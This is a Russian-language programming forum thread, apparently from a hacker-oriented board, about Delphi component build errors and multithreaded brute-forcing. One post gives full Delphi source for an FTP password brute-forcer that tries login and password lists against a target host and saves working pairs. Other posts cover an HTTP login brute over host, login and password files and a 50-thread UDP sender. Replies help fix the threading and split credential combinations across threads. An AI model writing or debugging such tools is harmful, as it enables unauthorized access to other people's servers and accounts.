Как начнешь САМ писать код и возникнут проблемы, так тебе и помогут. А пока можешь обратиться в раздел о работе ;-)
Как пропатчить? tb2k-2.2.2.zip TBX(github) и в нём патч для tb2k-2.2.2, в папке tools\TB2k Patch Его что, нужно устанавливать? Это походу нужно просто закинуть в папку \tb2k\Packages, но зачем тут exe'шники? Патчатся же исходники, которые лежат в \tb2k\Source. Да и наверное для патча батник нужен... Потому как ничего не происходит ни при его запуске, ни при перетаскивании на него diff.txt.
Здравствуйте, как в многопоточном приложении работать с двумя или тремя разными открываемыми файлами PHP: varlogins, pass,hosts:Tstringlist;...while work do begin CS.Enter; Inc(int); if int<pass.Count then intpass:=Int else Work:=False;...http.host:=host[hst];http.login:=logins[log];http.Password:=pass[intpass]; Например так с одним, а если например открываем отдельно логин, отдельно пароль и отдельно хост то как ? Вроде бы в потоке нельзя цикл for чтобы инициализировать переменную ?
Не совсем понял, в чем состоит вопрос. У тебя в 3 разных файлах содержатся хосты, логины и пароли и тебе нужно их синхронизировать 1-1-1 или 1-все-все? У тебя брут или чекер?
Брут, а синхронизировать нужно все-все-все то есть я выбираю каждым файлом отдельно логины, отдельно пароли и отдельно хосты помоги если чем сможешь
Delphi. Внутренняя ошибка F2084 Устанавливаю компонент. SpTBXLib_d14.dpk Собрал, скомпилировал - всё ок(исправил кучу ошибок сначала). Начинаю собирать: SpTBXLibDsgn_d14.dpk Вылезает 1 ошибка: [DCC Fatal Error] SpTBXReg.pas(42): F2084 Internal Error: U2186 Из SpTBXReg.pas - 5я строка, начиная с SpTBXItem: Code: uses Windows, Classes, Controls, SysUtils, Graphics, ImgList, Dialogs, DesignIntf, DesignEditors, VCLEditors, TB2Reg, TB2Toolbar, TB2Item, TB2DsgnItemEditor, SpTBXItem, SpTBXTabs, SpTBXDkPanels, SpTBXFormPopupMenu, SpTBXControls, SpTBXEditors, SpTBXExtEditors, SpTBXPageScroller, SpTBXCustomizer, SpTBXMDIMRU; Эти классы(файлы *.res) в папке sourse лежат. И они прописаны в файле SpTBXLib_d14.dpk(который я успешно собрал и скомпилил перед этим): Code: contains SpTBXItem in '..\Source\SpTBXItem.pas', SpTBXControls in '..\Source\SpTBXControls.pas', SpTBXTabs in '..\Source\SpTBXTabs.pas', SpTBXDkPanels in '..\Source\SpTBXDkPanels.pas', SpTBXEditors in '..\Source\SpTBXEditors.pas', SpTBXExtEditors in '..\Source\SpTBXExtEditors.pas', SpTBXColorPickerForm in '..\Source\SpTBXColorPickerForm.pas', SpTBXMDIMRU in '..\Source\SpTBXMDIMRU.pas', SpTBXFormPopupMenu in '..\Source\SpTBXFormPopupMenu.pas', SpTBXCustomizer in '..\Source\SpTBXCustomizer.pas', SpTBXCustomizerForm in '..\Source\SpTBXCustomizerForm.pas', SpTBXPageScroller in '..\Source\SpTBXPageScroller.pas', SpTBXSkins in '..\Source\SpTBXSkins.pas', SpTBXDefaultSkins in '..\Source\SpTBXDefaultSkins.pas'; Читал, что в конце такой ошибки зашифровано имя файла и ошибка - U2186. Как его расшифровать? Spoiler: Скрин
Ну это же обычная математика. Алгоритм простой: допустим у тебя по 5 строк в каждом файле, 5*5*5 = 125 комбинаций в общем, 125 делишь на количество потоков-1 и в одном потоке запускаешь остатки, в случае если общее число комбинаций не делится нацело. Если взять в расчет то, что какой-то потом быстрее остальных переберет свою часть и ты хочешь распределить на него нагрузку с еще непроверенных данных, то алгоритм будет немного сложнее и для простоты решения задачи, удобнее будет формировать единый список из всех файлов, а затем его обрабатывать в потоках. Если в голове сложно составить весь алгоритм, то моешь по-старинке, нарисовать на бумаге и исходя из него уже кодить)
Компиль компоненты без оптимизации и устанавливай пакеты заново, говорят помогает. Project -> Options -> Compiler -> Code generation -> x Optimization
Всё таки не понимаю до конца как условие правильно поставить например если с одним то Inc(pass) повышаем пароли на 1 каждый раз, а вот с несколькими как ? Можешь помочь примером хотя бы с двумя как делается лучше ?
Всё, нашел косяк, либу переименовал, а тут в дпк старое имя стояло. )) Скомпилил. Остался 1 компонент из 11, ровно 2 недели уже устанавливаю их. Кто знает, как так происходит? Я меняю типы у функции в её объявлении, а в других файлах она как упоротая со старыми остаётся, да ещё и орёт: E2033 Types of actual and formal var parameters must be identical. Функция объявляется в sciUtils.pas(Открыл в notepad++ все файлы компонента и поиском только тут выдало): Вверху: Code: //Возвращает строку перед разделителем 'separator' и задает остальную часть строки в 'S'. function WordBefore(var S: AnsiString; const Separator: AnsiChar): AnsiString; И потом ниже: Code: //Извлекает строку от начала до 'separator'. Возвращает это значение и задает остальную часть строки в 's' function WordBefore(var S: AnsiString; const Separator: AnsiChar): AnsiString; var I: Integer; begin I := Pos(Separator, S); if I <> 0 then begin Result := Copy(S, 1, I - 1); Delete(S, 1, I); end else begin Result := S; S := ''; end; end; Значит я меняю и тут и там AnsiString на WideString, AnsiChar на WideChar. Сохранил. И закрыл/открыл проект. И RAD перезапустил. И "clear" жал в Project Manager на dpk. И всё равно эта скотина мне говорит, что там Ansi. Spoiler: Скрин
Почему ловлю Access violation address ? Code: procedure TForm1.Button2Click(Sender: TObject); begin Work:=True; for Thread:=0 to 50 do begin th.Create(false); end; end; procedure th.Execute; var str:string; UDP:TUDPBlockSocket; begin while work do begin CS.Enter; end; Cs.Leave; if work then begin UDP:=TUDPBlockSocket.Create; UDP.Connect(ip,port); UDP.SendString('Sonic'); end;
Мало данных, возможно бьются какие-то указатели. У тебя очень извращенский метод работы с потоками через критические секции. Посмотри скомпиленый семпл под отладчиком и узнаешь
Пишу маленький брут FTP Code: unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Graphics, Forms, syncobjs, Dialogs, StdCtrls, Controls, Classes, FTPSend; type TForm1 = class(TForm) Button1: TButton; Memo1: TMemo; Button2: TButton; Button3: TButton; OpenDialog1: TOpenDialog; Edit1: TEdit; Edit2: TEdit; Button4: TButton; Label1: TLabel; Edit3: TEdit; Memo2: TMemo; Label2: TLabel; procedure FormCreate(Sender: TObject); procedure Button1Click(Sender: TObject); procedure Button2Click(Sender: TObject); procedure Button4Click(Sender: TObject); procedure Button3Click(Sender: TObject); private { Private declarations } public { Public declarations } end; type th = class(TThread) private rez: integer; public ftp: tftpsend; procedure sync; protected procedure Execute; Override; end; var Form1: TForm1; logins,pass: tstringlist; log, pas, proxy: integer; work: boolean; cs: tcriticalsection; good: textfile; implementation {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject); begin if opendialog1.Execute then begin logins.Clear; logins.LoadFromFile(opendialog1.FileName); end; end; procedure TForm1.Button2Click(Sender: TObject); var Thread:integer; begin if (pass.Count<>0) and (logins.count<>0) then begin Work:=True; for Thread:=0 to strtoint(Edit3.text) do th.Create(false); end; end; procedure th.Execute; begin while work do begin CS.Enter; if pas=pass.count-1 then begin inc(log); pas:=proxy; end; if log=logins.Count-1 then work:=false; Inc(pas); Cs.Leave; if work then begin ftp:=tftpsend.Create; FTP.TargetHost:=form1.Edit1.text; FTP.TargetPort:=form1.Edit2.text; FTP.UserName:=logins[log]; FTP.Password:=pass[pas]; if FTP.Login then begin rez:=1; end else begin Rez:=-1; end; ftp.Free; Synchronize(Sync); end end; end; procedure th.sync; var i:integer; begin case rez of 1:begin Form1.Memo2.Lines.Add(logins[log]+':'+pass[pas]); i:=0; inc(i); Form1.Label2.caption:=inttostr(i); Form1.Memo2.Lines.SaveToFile(ExtractFilePath('GOOD.txt')); end; -1:begin Form1.Memo1.Lines.Add(logins[log]+':'+pass[pas]+' Login incorrect.') end; end; end; procedure TForm1.FormCreate(Sender: TObject); begin logins:=tstringlist.Create; pass:=tstringlist.Create; cs:=tcriticalsection.Create; end; procedure TForm1.Button4Click(Sender: TObject); begin if opendialog1.Execute then begin pass.Clear; pass.LoadFromFile(opendialog1.FileName); end; end; procedure TForm1.Button3Click(Sender: TObject); begin work:=false; end; end. Понять не могу то пропускает некоторые пароли из файла то перебираются по 2 одинаковых пароля
Кодес не читал. Там что-то страшное... Вот какая штука: тебе нужно брать записи из memo разными потоками ? Значит проще всего сделать соответствующее свойство при чтении из списка в котором =========================== * производить блокировку списка * сохранение прочитанного в Result * удаление прочитанного элемента * разблокировку списка =========================== И читать из любого угодного тебе треда. Тогда вопрос "почему читаются два одинаковых" уже стоять не будет. Будет стоять вопрос почему один и тот же поток два раза выполняется... если вообще будет ошибка. Пытаться заставить заработать текущий кодес ИМХО ведет к закреплению собцтвенной ошибки и развитию плохого стиля.
То, что бросается сразу в глаза: 1. Переменную pas (которая, как я понял содержит в себе номер текущего пароля в списке) надо бы сделать локальной для потока и внутри TThread.Execute перебирать циклом каждый пароль к отдельно взятому логину. 2. Что за переменная proxy и где происходит её инициализация? Это может сыграть злую шутку в случае, если программа зарезервирует под неё неосвобожденную область в памяти: например, там будет храниться число 5000, а у тебя паролей всего 300 в файле - поток упадет при попытке взять с TStringList значение под индексом 5000.